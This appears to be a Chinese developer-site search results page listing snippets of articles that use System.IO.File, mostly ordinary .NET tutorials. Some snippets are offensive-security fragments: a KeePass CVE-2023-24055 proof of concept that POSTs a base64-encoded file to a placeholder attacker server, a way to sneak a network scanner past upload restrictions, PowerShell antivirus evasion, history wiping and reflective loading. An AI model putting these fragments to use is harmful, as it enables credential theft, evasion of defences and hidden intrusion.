首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏全栈程序员必看

    使用ICSharpCode.SharpZipLib.dll实现在线解压缩

    它的第一个参数是所要压缩的文件所代表的输入流,可以使用System.IO.File的静态方法OpenRead。 第二个参数是要建立的压缩文件所代表的输出流,可以使用System.IO.File的静态方法Create创建,压缩文件名是所要压缩文件的文件名 加上压缩后缀.bz(同样你也可以取其他的文件名)。 它的第一个参数是所要解压的压缩文件所代表的输入流,可以使用System.IO.File的静态方法OpenRead。 第二个参数是要建立的解压文件所代表的输出流,可以使用System.IO.File的静态方法Create创建,因为解压文件的文件名是去掉了压缩文件扩展名的压缩文件名(你也可以做成解压文件与压缩文件不同名的 File.OpenRead(args[0]); /生成一个文件流,它用来打开要压缩的文件 //可以使用System.IO.File

    1.5K20编辑于 2022-09-17
  • 来自专栏全栈程序员必看

    利用#ZipLib,完成C#下的解压缩「建议收藏」

    它的第一个参数是所要压缩的文件所代表的输入流,可以使用System.IO.File的静态方法OpenRead。 第二个参数是要建立的压缩文件所代表的输出流,可以使用System.IO.File的静态方法Create创建,压缩文件名是所要压缩文件的文件名加上压缩后缀.bz(同样你也可以取其他的文件名)。 它的第一个参数是所要解压的压缩文件所代表的输入流,可以使用System.IO.File的静态方法OpenRead。 第二个参数是要建立的解压文件所代表的输出流,可以使用System.IO.File的静态方法Create创建,因为解压文件的文件名是去掉了压缩文件扩展名的压缩文件名(你也可以做成解压文件与压缩文件不同名的 FileStream fs = File.OpenRead(args[0]); /生成一个文件流,它用来打开要压缩的文件 //可以使用System.IO.File

    80810编辑于 2022-09-17
  • 来自专栏Khan安全团队

    CVE-2023-24055 PoC(KeePass 2.5x)

    -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File

    85920编辑于 2023-02-23
  • 来自专栏Windows运维

    如何加密用户的个人文件?

    -AssemblyName System.Security $password = ConvertTo-SecureString "密码" -AsPlainText -Force $bytes = [System.IO.File System.Security.Cryptography.ProtectedData]::Protect($bytes, $password, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) [System.IO.File

    63410编辑于 2025-03-22
  • 来自专栏用户10004205的专栏

    WebGL问题总结

    3.文件读取问题: 一度认为WebGL不支持使用StreamAssetsPath路径,但测试发现是可以正常使用的,使用System.IO.File读取该路径下的配置文件会失败是因为,使用File类相关函数时 ,我们真实填入的WebGL平台下的路径参数,是以file:///开头的,但是File读取后的路径开头却是/file:/ 所以结论是,在WebGL平台下不要使用System.IO.File类。

    1.8K20编辑于 2022-08-29
  • 来自专栏网络安全攻防

    云桌面文件上传限制绕过

    程序即可,下面是具体实现: Step 1:Fscan执行结果如下 Step 2:使用PowerShell进行base64编码,将fscan64.exe编码输出未txt文本程序 $PEBytes = [System.IO.File Base64Bytes = Get-Content ("fscan_base64.txt") $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) [System.IO.File

    4.7K10编辑于 2022-09-07
  • 来自专栏喵叔's 专栏

    .NET6新东西--隐式命名空间引用

    </PropertyGroup> <ItemGroup> <Using Include="System.Console" Static="true" /> <Using Include="<em>System.IO.File</em> global::System.Threading; global using global::System.Threading.Tasks; global using MyFile = global::<em>System.IO.File</em>

    1.2K40发布于 2021-11-18
  • 来自专栏网络安全攻防

    内网渗透之云桌面文件上传限制绕过

    程序即可,下面是具体实现: Step 1:Fscan执行结果如下 Step 2:使用PowerShell进行base64编码,将fscan64.exe编码输出未txt文本程序 $PEBytes = [System.IO.File Base64Bytes = Get-Content ("fscan_base64.txt") $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) [System.IO.File

    56110编辑于 2024-06-08
  • 来自专栏dino.c的专栏

    [Azure DevOps] 如何使用任务组

    AssemblyInformationalVersion\("[^"]*"\)\]',Multiline foreach ($file in $assemblyFiles) { $content = [System.IO.File assemblyFileVersionReplacement) $content = $assemblyInfoVersionRegex.Replace($content, $assemblyInfoVersionReplacement) [System.IO.File

    2K20发布于 2021-06-24
  • 来自专栏Windows技术交流

    清理powershell历史记录

    有多种命令清理powershell历史记录[System.IO.File]::Delete((Get-PSReadLineOption).HistorySavePath)Remove-Item "$env

    74010编辑于 2025-03-10
  • 来自专栏Khan安全团队

    进程注入工具

    used with DLL Injection Technique) 通过反射加载 # Load from the disk [System.Reflection.Assembly]::Load([System.IO.File

    1.2K21编辑于 2022-01-27
  • 来自专栏林德熙的博客

    Roslyn 打包 NuGet 包添加改动日志

    <ChangeLogFile>$(MSBuildProjectDirectory)\CHANGELOG.md</ChangeLogFile> <PackageReleaseNotes>$([System.IO.File

    1.1K30发布于 2020-07-29
  • 来自专栏FreeBuf

    Powershell免杀从入门到实践

    FromBase64String('base64编码字符串')for ($x = 0; $x -lt $enc.Count; $x++) { $enc[$x] = $enc[$x] -bxor 35}$infile = [System.IO.File 即 [Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin') 其余代码未修改。 ? 执行后可正常上线。

    3.3K30发布于 2021-03-09
  • 来自专栏林德熙的博客

    Roslyn 分析器 EnforceExtendedAnalyzerRules 属性的作用

    则提供代码编写过程中提示不适用于 Roslyn 分析器项目使用的 API 分析功能 设置 EnforceExtendedAnalyzerRules 为 true 时,有以下的 API 将会被提示不可用 T:System.IO.File

    73730编辑于 2023-06-18
  • 来自专栏软件实验室资质建设知识分享

    最新版本Fortify静态代码扫描工具规则库更新,新增对人工智能 (AI) 和机器学习 (ML) 的支持

    和 .NET RazorPages 的 HTML 和基于 HTML 的模板文件中删除了误报(3)密码管理:硬编码密码 – 在 C++ 和 PHP 应用程序中检测到的新问题(4)隐私侵犯 – 在使用“System.IO.File 在使用节点标记从合并的清单文件中删除权限的 Android 应用程序中删除了误报(6)字符串终止错误 – 在使用 'c_str()' 的 C++ 应用程序中删除了误报(7)系统信息泄漏 – 在使用“System.IO.File

    87310编辑于 2025-07-22
  • 来自专栏木宛城主

    SharePoint自动化部署,利用PowerShell 导入用户至AD——PART II

    if ($str) { return $false } else { return $true } } if([System.IO.File

    1.9K80发布于 2018-01-11
  • 来自专栏喵叔's 专栏

    如何重写object虚方法

    当我们在对象上调用 ToString 时默认返回的是类的完全限定名称,比如说我们在 System.IO.File 对象上调用这个方法,就会返回字符串 System.IO.File ,这个结果往往并不是我们所需要的结果并且这个结果也没有什么意义

    1.2K10发布于 2020-09-08
  • 来自专栏Windows技术交流

    创建腾讯云Windows云服务器时在UserData中设计开机校验打印服务的逻辑

    = "C:\Program Files\Cloudbase Solutions\Cloudbase-Init\LocalScripts\RunWhenStartCheckSpooler.ps1" [System.IO.File

    1.2K10编辑于 2025-02-20
  • 来自专栏信安之路

    利用 Office 来进行系统权限维持

    脚本生成的程序主要是用来弹出计算器,用户验证持久化的能力: $fileContentBytes = [System.Convert]::FromBase64String($fileContent) [System.IO.File

    1.7K40发布于 2021-04-29
  • 来自专栏全栈工程师修炼之路

    PS常用.NET类型记录和使用命令

    "下载完成" } } # 方式2.一句话搞定 (New-Object Net.WebClient).DownloadFile($DownUrlFile,$LocalName) dllByte=[System.IO.File ]::ReadAllBytes(‘D:\Code\mosser\PStips.NET—dll′)[System.AppDomain]::CurrentDomain.Load(dllByte=[System.IO.File

    1.4K20编辑于 2022-09-29
领券